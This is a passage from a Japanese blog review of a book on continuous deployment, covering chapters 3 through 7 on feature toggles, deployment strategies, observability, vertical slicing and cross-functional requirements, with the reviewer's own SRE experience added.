管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\"完了\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and 